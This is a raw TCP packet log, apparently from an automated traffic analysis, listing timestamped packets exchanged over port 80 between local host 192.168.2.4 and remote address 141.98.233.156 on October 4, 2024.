Oct 4, 2024 09:52:27.941685915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941699982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941716909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941730976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941747904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941751957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941778898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941781044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941811085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941814899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941840887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941847086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941874027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941879034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941904068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941912889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941936016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.941939116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.941972971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942620993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942652941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942662954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942684889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942688942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942715883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942719936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942748070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942753077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942784071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942795038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942826986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942831993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942854881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942874908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942902088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942904949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942935944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942945004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.942967892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.942974091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943000078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943005085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943031073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943036079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943063021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943067074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943094969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943100929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943125963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943130970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943156004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943161964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943186998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943192959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943214893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943222046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943260908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943268061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943295956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943305016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943331957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943341970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943362951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943367958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943408012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943414927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943444967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943451881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943476915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943483114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943510056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.943516016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.943548918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944071054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944103003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944113016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944139957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944190979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944221973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944230080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944252968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944257975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944283009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944288015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944314957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944320917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944346905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944354057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944380045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944382906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944417000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.944844961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.944888115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.220582008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220726013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.220793962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220808983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220833063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220849991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220854998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.220865011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220880032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.220880032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220896006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220910072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220923901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220937967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220951080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220966101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220978975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220993042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.220999956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221009016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221021891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221057892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221057892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221057892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221057892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221059084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221059084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221117020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221785069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221800089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221813917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221828938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221843004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221843958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221859932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221868992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221873999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221887112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221899986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221901894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221915007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221924067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221927881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221942902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221955061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221963882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.221968889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.221983910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.222001076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.222033978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.225939035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.225981951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226169109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226183891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226198912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226208925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226212978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226233006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226264000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226540089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226552963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226567984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226578951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226583004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226597071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226600885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226617098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226640940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226640940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226847887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226881981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226890087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226896048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226926088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226953030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226967096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226980925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.226989985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.226995945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227010965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227020979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227031946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227061033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227142096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227164030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227179050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227193117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227202892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227207899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227221012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227221012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227235079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227241039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227250099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227261066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227263927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227277040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227278948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227288961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227303028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.227309942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227318048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227318048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227343082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.227715969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.314728975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.314744949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:28.319519043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.319586992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.319713116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.319725037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:28.319736958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:29.136542082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:29.139120102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:29.353061914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:29.353061914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:29.358297110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:29.358345032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:29.358428955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:30.179424047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:30.179565907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:30.198306084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:30.203499079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:31.014350891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:31.014463902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:31.114981890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:31.123267889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:31.855987072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:31.856169939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:31.915899992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:31.921363115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.099997997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100049973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100114107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100122929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100156069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100157976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100169897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100189924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100222111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100223064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100255013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100255013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100266933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100287914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100287914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100320101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100325108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100353003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.100356102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.100389004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.103274107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.103306055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.103338957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.103355885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.103372097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.103393078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188666105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188736916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188791037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188822985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188863993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188890934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188894987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188890934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188890934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188890934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188927889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.188939095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188939095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188963890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.188977003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189017057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189024925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189055920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189064980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189089060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189105034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189120054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189125061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189162016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189174891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189205885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189218044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189239979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189248085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189271927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189280033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189305067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189311981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189337015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189344883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189368963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189385891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189387083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189402103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189419031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189424038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189424038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189434052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189444065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189449072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189462900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189464092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189481974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189503908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189503908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189573050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189585924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.189619064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.189637899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277667999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277723074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277755976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277786970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277822018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277853012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277885914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277885914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277885914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277885914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277885914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277885914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277904987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277934074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.277978897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277978897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.277981997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278014898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278042078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278044939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278065920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278075933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278085947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278107882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278116941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278140068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278151989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:32.278172016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:32.278175116 CEST	49745	80	192.168.2.4	141.98.233.156
